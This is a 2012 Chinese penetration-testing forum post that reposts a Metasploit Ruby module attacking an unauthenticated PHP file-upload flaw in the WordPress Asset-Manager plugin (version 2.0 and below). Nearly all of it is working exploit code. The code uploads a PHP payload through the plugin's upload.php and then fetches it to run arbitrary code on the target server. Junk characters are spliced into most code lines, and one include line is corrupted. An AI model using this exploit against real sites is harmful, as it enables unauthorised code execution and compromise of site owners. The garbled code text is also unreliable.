中国网络渗透测试联盟

标题: WordPress Asset-Manager PHP文件上传漏洞 [打印本页]

作者: admin    时间: 2012-12-31 09:22
标题: WordPress Asset-Manager PHP文件上传漏洞
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
: g& Q. A) b8 M" X7 @& \" v% k
/ i4 C' B" i+ Q, Y" ?7 V##
7 F0 [# O) A1 @' h# This file is part of the Metasploit Framework and may be subject to
/ U! ?/ m7 l$ A+ ~( B3 \# redistribution and commercial restrictions. Please see the Metasploit
' v8 Y2 }. t1 T! z+ \; a# M* b# Framework web site for more information on licensing and terms of use.
$ K4 g. p. i3 f& b: \5 F6 e#   http://metasploit.com/framework/3 `) D* v2 U4 ~" K8 M6 F* r0 y
##& v/ i9 m3 u: h" `

, W# b1 f3 b* `% n/ Rrequire 'msf/core'
: @$ ~7 `4 u$ ^4 }/ T3 n% B, \require 'msf/core/exploit/php_exe'! D; u! w( O9 v  e+ o- S

/ S/ }7 H* S8 i; }" E: jclass Metasploit3 < Msf::Exploit::Remote
9 \+ ~" W, C# e  Rank = ExcellentRanking
2 \  J/ ]% p# F" F4 v  x/ M1 ^! D
/ j% I/ A. u& M7 L1 M  include Msf::Exploit::Remote::HttpClient$ ^! C, T2 O! E8 D  ?6 D4 n
  include Msf::Exploit:hpEXE
' U) C# \9 N6 V, x4 L
4 h' h  Q/ a% v; G. L) f* I  def initialize(info = {})
. {  B: q! e# x- Z    super(update_info(info,3 Q0 I1 z5 t; k* Q
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
  r1 q, `2 s4 C1 s' l" ^6 D      'Description'    => %q{" o( O5 \# r% b: w& V& ^3 a
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
5 [3 D6 d$ ?& D/ v2 o, P" z# q& ?        plugin.  By abusing the upload.php file, a malicious user can upload a file to a. C2 N3 {3 W5 E3 e5 m  v
        temp directory without authentication, which results in arbitrary code execution.# L  v7 }5 p; B" z# Z: }8 Y4 X$ e
      },$ z& s3 W! q- U0 J+ r
      'Author'         =>
. H- z) B1 Z/ P1 e        [
0 `3 ~6 [3 w; Z6 Z4 v0 p$ L          'Sammy FORGIT', # initial discovery
+ b9 E1 L: z% w3 F1 d. N          'James Fitts <fitts.james[at]gmail.com>' # metasploit module9 G, Z2 D8 N4 s
        ],
5 I* T6 M- Z8 V, X" }4 H9 g7 }      'License'        => MSF_LICENSE,
" L% @/ N7 d9 D3 Y5 H      'References'     =>6 p) a$ ]: }; |" C7 A1 S- I- J- {, q
        [
) q! R& a! c" r7 @& P+ G          [ 'OSVDB', '82653' ],
5 K% C( @: O* G" a( }* ?: c          [ 'BID', '53809' ],
8 F# y" |* L% @8 _/ \* ]7 e+ ?          [ 'EDB', '18993' ],
9 h/ M: o% U5 F( A          [ 'URL', 'http:// www.myhack58.com /' ]: c8 r$ J4 E8 R) n, o% H, K
        ],
* ^( C2 p3 k, ]      'Payload'       =>
- \& S" u- Q+ Z+ ?5 R0 S        {
7 D1 u  c6 a! p          'BadChars' => "\x00",
  g6 m4 j& v9 ]* ~        },3 M. o" h2 i. {8 k7 @9 k5 P$ h
      'Platform'       => 'php',
  C9 Y- `6 t# F& [      'Arch'           => ARCH_PHP,9 a; ~# N! k( ~3 j2 P
      'Targets'        =>
- N: M& s) U, C) x9 }2 ^        [
! A6 Z( S) Z+ C* j, r" D! @, r          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
! e: C; E" E7 \) J0 R          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]5 T7 M6 U3 B8 Q3 A
        ],( U  u% V" a8 r5 `
      'DefaultTarget' => 0,- {- i6 L6 E# n
      'DisclosureDate' => 'May 26 2012'))
5 l# G$ {' k  c6 t* S) N
: E( b$ Y% X. Z    register_options(2 e* `) E+ y+ `" l! Z
      [
7 r! @4 p! {; D        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
/ b6 K$ \( W9 ^/ J' @4 J) X8 i! B0 d      ], self.class)
# j2 w7 e1 h( i! A9 M) v9 |% w  end$ g: z, M" o( \/ e, e
5 v/ O' Y/ B. t/ E; x
  def exploit8 u; C6 {& C; p% i
    uri =  target_uri.path# K- D& C9 s; G: j8 c# o
    uri << '/' if uri[-1,1] != '/'3 J4 m+ F/ R9 x* {
    peer = "#{rhost}:#{rport}"
( b- G, O  q" D3 O  J. p* Q    payload_name = "#{rand_text_alpha(5)}.php"
, g( u1 _0 L7 x& n7 v- q    php_payload = get_write_exec_payload(:unlink_self=>true). F+ P5 x# b  y  @7 K  X

  G7 Y& b+ Q% a5 X1 {5 I# Y    data = Rex::MIME::Message.new$ Z4 ?( ~3 t) x7 Q& m$ ]
    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
6 J$ i& a1 J( W    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')4 [+ K' S9 D) U; O; G

) @; o( u! X6 a7 ]    print_status("#{peer} - Uploading payload #{payload_name}")9 t, K  L/ {* Z3 [% o
    res = send_request_cgi({3 ]. c- S9 ~0 N
      'method'  => 'POST',
+ S9 A( e  s8 a0 v6 K8 ]      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
" E+ n) A5 t/ ^: x* \; ]1 ?3 w      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
! H/ W) Q6 [7 I0 a" s: R0 I      'data'    => post_data
! y6 u6 t# f( g# b  J! F    }). z6 T$ c  y3 g
' `' r' @! P4 Z: \+ A  ^9 t4 ]
    if not res or res.code != 200 or res.body !~ /#{payload_name}/2 H! a1 d, N+ `! P. E% |
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
8 e" p1 o4 t3 C. Z3 Dend1 f  Z$ z% A4 r3 g7 }

: ?6 k3 m- C, i3 s1 Z4 x    print_status("#{peer} - Executing payload #{payload_name}")
) K, ?3 K7 n) [( `    res = send_request_raw({7 [# v- A7 P( V. ?0 F3 A# j
      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",! v/ L: H  z* F2 G
      'method'  => 'GET'/ D9 q( E2 Q! v$ e$ v/ ~  H
    })! H3 W4 |! Z6 D4 p5 N: t& G

$ g& P& E  E# j6 v- s% g    if res and res.code != 200
7 R+ J2 T  Z( k  e) ^! J. v( r      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")( d+ `: R* h# z! u! T$ u6 ~+ F
    end
! H* a# s2 p# T' h+ K8 s  end
) ~( h8 H) J5 ?! w8 t3 U6 zend! f0 V( i+ L6 x% q4 r





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2